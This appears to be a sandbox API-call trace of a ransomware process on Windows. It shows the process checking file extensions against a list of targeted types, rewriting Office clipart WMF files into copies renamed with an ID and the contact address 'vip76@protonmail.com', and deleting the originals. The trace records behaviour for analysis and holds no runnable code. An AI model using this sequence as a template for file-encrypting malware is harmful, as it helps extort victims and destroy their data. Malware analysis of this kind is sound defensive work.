	[0203.637] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.637] lstrlenW (lpString=".rar") returned 4
	[0203.637] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.637] lstrlenW (lpString=".bz2") returned 4
	[0203.637] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.637] lstrlenW (lpString=".7z") returned 3
	[0203.637] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.637] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString=".dbf") returned 4
	[0203.638] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString=".1cd") returned 4
	[0203.638] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString=".jpg") returned 4
	[0203.638] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString=".doc") returned 4
	[0203.638] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString=".docx") returned 5
	[0203.638] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0203.638] lstrlenW (lpString=".pdf") returned 4
	[0203.638] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString=".xls") returned 4
	[0203.638] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0203.638] lstrlenW (lpString=".xlsx") returned 5
	[0203.638] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0203.638] lstrlenW (lpString=".ppt") returned 4
	[0203.638] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.638] lstrlenW (lpString=".zip") returned 4
	[0203.638] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0203.638] lstrlenW (lpString=".rar") returned 4
	[0203.638] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0203.638] lstrlenW (lpString=".bz2") returned 4
	[0203.638] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0203.639] lstrlenW (lpString=".7z") returned 3
	[0203.639] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0203.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.639] lstrlenW (lpString=".dbf") returned 4
	[0203.639] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0203.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.639] lstrlenW (lpString=".1cd") returned 4
	[0203.639] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0203.639] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152696.WMF") returned 68
	[0203.639] lstrlenW (lpString=".jpg") returned 4
	[0203.639] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0203.639] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0203.639] lstrlenW (lpString="J0152698.WMF") returned 12
	[0203.639] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.641] GetFileSizeEx (in: hFile=0x5e8, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1208) returned 1
	[0203.641] CloseHandle (hObject=0x5e8) returned 1
	[0203.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 0x220
	[0203.641] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0203.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5e8
	[0203.641] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.641] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.641] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x460
	[0203.642] GetLastError () returned 0x0
	[0203.642] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x4b8, lpOverlapped=0x0) returned 1
	[0203.795] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x4c0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x4c0, lpOverlapped=0x0) returned 1
	[0203.796] ReadFile (in: hFile=0x5e8, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0203.796] WriteFile (in: hFile=0x460, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0203.796] SetEndOfFile (hFile=0x460) returned 1
	[0203.796] CloseHandle (hObject=0x460) returned 1
	[0203.796] SetFilePointerEx (in: hFile=0x5e8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0203.796] SetEndOfFile (hFile=0x5e8) returned 1
	[0203.799] CloseHandle (hObject=0x5e8) returned 1
	[0203.799] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0203.972] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152698.wmf")) returned 1
	[0204.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.155] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.155] lstrlenW (lpString=".doc") returned 4
	[0204.155] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.155] lstrlenW (lpString=".docx") returned 5
	[0204.155] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.155] lstrlenW (lpString=".pdf") returned 4
	[0204.169] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.169] lstrlenW (lpString=".xls") returned 4
	[0204.169] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.169] lstrlenW (lpString=".xlsx") returned 5
	[0204.169] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.169] lstrlenW (lpString=".ppt") returned 4
	[0204.169] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.169] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.170] lstrlenW (lpString=".zip") returned 4
	[0204.170] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.170] lstrlenW (lpString=".rar") returned 4
	[0204.170] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.170] lstrlenW (lpString=".bz2") returned 4
	[0204.170] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.170] lstrlenW (lpString=".7z") returned 3
	[0204.170] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.170] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.170] lstrlenW (lpString=".dbf") returned 4
	[0204.171] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.171] lstrlenW (lpString=".1cd") returned 4
	[0204.171] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.171] lstrlenW (lpString=".jpg") returned 4
	[0204.171] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.171] lstrlenW (lpString=".doc") returned 4
	[0204.171] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString=".docx") returned 5
	[0204.171] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1
	[0204.171] lstrlenW (lpString=".pdf") returned 4
	[0204.171] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString=".xls") returned 4
	[0204.171] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.171] lstrlenW (lpString=".xlsx") returned 5
	[0204.171] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1
	[0204.171] lstrlenW (lpString=".ppt") returned 4
	[0204.171] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.171] lstrlenW (lpString=".zip") returned 4
	[0204.171] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.171] lstrlenW (lpString=".rar") returned 4
	[0204.171] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString=".bz2") returned 4
	[0204.171] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.171] lstrlenW (lpString=".7z") returned 3
	[0204.172] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.172] lstrlenW (lpString=".dbf") returned 4
	[0204.172] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.172] lstrlenW (lpString=".1cd") returned 4
	[0204.172] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.172] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152698.WMF") returned 68
	[0204.172] lstrlenW (lpString=".jpg") returned 4
	[0204.172] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.172] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.172] lstrlenW (lpString="J0152890.WMF") returned 12
	[0204.172] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.173] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=1940) returned 1
	[0204.173] CloseHandle (hObject=0x580) returned 1
	[0204.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 0x220
	[0204.173] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.173] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.173] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.174] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.174] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x33c
	[0204.175] GetLastError () returned 0x0
	[0204.175] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x794, lpOverlapped=0x0) returned 1
	[0204.176] WriteFile (in: hFile=0x33c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x7a0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x7a0, lpOverlapped=0x0) returned 1
	[0204.177] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.177] WriteFile (in: hFile=0x33c, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.178] SetEndOfFile (hFile=0x33c) returned 1
	[0204.178] CloseHandle (hObject=0x33c) returned 1
	[0204.178] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.178] SetEndOfFile (hFile=0x580) returned 1
	[0204.180] CloseHandle (hObject=0x580) returned 1
	[0204.180] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.181] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152890.wmf")) returned 1
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.182] lstrlenW (lpString=".doc") returned 4
	[0204.182] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString=".docx") returned 5
	[0204.182] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0204.182] lstrlenW (lpString=".pdf") returned 4
	[0204.182] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString=".xls") returned 4
	[0204.182] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.182] lstrlenW (lpString=".xlsx") returned 5
	[0204.182] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0204.182] lstrlenW (lpString=".ppt") returned 4
	[0204.182] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.182] lstrlenW (lpString=".zip") returned 4
	[0204.182] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.182] lstrlenW (lpString=".rar") returned 4
	[0204.182] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString=".bz2") returned 4
	[0204.182] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString=".7z") returned 3
	[0204.182] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.182] lstrlenW (lpString=".dbf") returned 4
	[0204.182] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.182] lstrlenW (lpString=".1cd") returned 4
	[0204.182] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.182] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString=".jpg") returned 4
	[0204.183] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString=".doc") returned 4
	[0204.183] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString=".docx") returned 5
	[0204.183] lstrcmpiW (lpString1=".docx", lpString2="0.WMF") returned -1
	[0204.183] lstrlenW (lpString=".pdf") returned 4
	[0204.183] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString=".xls") returned 4
	[0204.183] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.183] lstrlenW (lpString=".xlsx") returned 5
	[0204.183] lstrcmpiW (lpString1=".xlsx", lpString2="0.WMF") returned -1
	[0204.183] lstrlenW (lpString=".ppt") returned 4
	[0204.183] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString=".zip") returned 4
	[0204.183] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0204.183] lstrlenW (lpString=".rar") returned 4
	[0204.183] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString=".bz2") returned 4
	[0204.183] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString=".7z") returned 3
	[0204.183] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString=".dbf") returned 4
	[0204.183] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.183] lstrlenW (lpString=".1cd") returned 4
	[0204.183] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0204.183] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152890.WMF") returned 68
	[0204.184] lstrlenW (lpString=".jpg") returned 4
	[0204.184] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0204.184] lstrcmpiW (lpString1=".WMF", lpString2=".html") returned 1
	[0204.184] lstrlenW (lpString="J0152892.WMF") returned 12
	[0204.184] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.185] GetFileSizeEx (in: hFile=0x580, lpFileSize=0x3a0ff14 | out: lpFileSize=0x3a0ff14*=10668) returned 1
	[0204.185] CloseHandle (hObject=0x580) returned 1
	[0204.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 0x220
	[0204.185] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[vip76@protonmail.com].html")) returned 0xffffffff
	[0204.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x580
	[0204.186] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.186] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.186] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[vip76@protonmail.com].html" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf.id-b4197730.[vip76@protonmail.com].html"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x5b8
	[0204.292] GetLastError () returned 0x0
	[0204.292] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x29ac, lpOverlapped=0x0) returned 1
	[0204.310] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0x29b0, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0x29b0, lpOverlapped=0x0) returned 1
	[0204.312] ReadFile (in: hFile=0x580, lpBuffer=0x45f9020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x3a0fecc, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesRead=0x3a0fecc*=0x0, lpOverlapped=0x0) returned 1
	[0204.312] WriteFile (in: hFile=0x5b8, lpBuffer=0x45f9020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x3a0fc94, lpOverlapped=0x0 | out: lpBuffer=0x45f9020*, lpNumberOfBytesWritten=0x3a0fc94*=0xec, lpOverlapped=0x0) returned 1
	[0204.312] SetEndOfFile (hFile=0x5b8) returned 1
	[0204.312] CloseHandle (hObject=0x5b8) returned 1
	[0204.312] SetFilePointerEx (in: hFile=0x580, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x3a0fec0 | out: lpNewFilePointer=0x0) returned 1
	[0204.312] SetEndOfFile (hFile=0x580) returned 1
	[0204.315] CloseHandle (hObject=0x580) returned 1
	[0204.315] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF.id-B4197730.[vip76@protonmail.com].html", dwFileAttributes=0x220) returned 1
	[0204.316] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0152892.wmf")) returned 1
	[0204.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.317] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.317] lstrlenW (lpString=".doc") returned 4
	[0204.317] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0204.317] lstrlenW (lpString=".docx") returned 5
	[0204.317] lstrcmpiW (lpString1=".docx", lpString2="2.WMF") returned -1
	[0204.317] lstrlenW (lpString=".pdf") returned 4
	[0204.317] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0204.317] lstrlenW (lpString=".xls") returned 4
	[0204.318] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0204.318] lstrlenW (lpString=".xlsx") returned 5
	[0204.318] lstrcmpiW (lpString1=".xlsx", lpString2="2.WMF") returned -1
	[0204.318] lstrlenW (lpString=".ppt") returned 4
	[0204.318] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0204.318] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0152892.WMF") returned 68
	[0204.318] lstrlenW (lpString=".zip") returned 4
	[0204.318] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
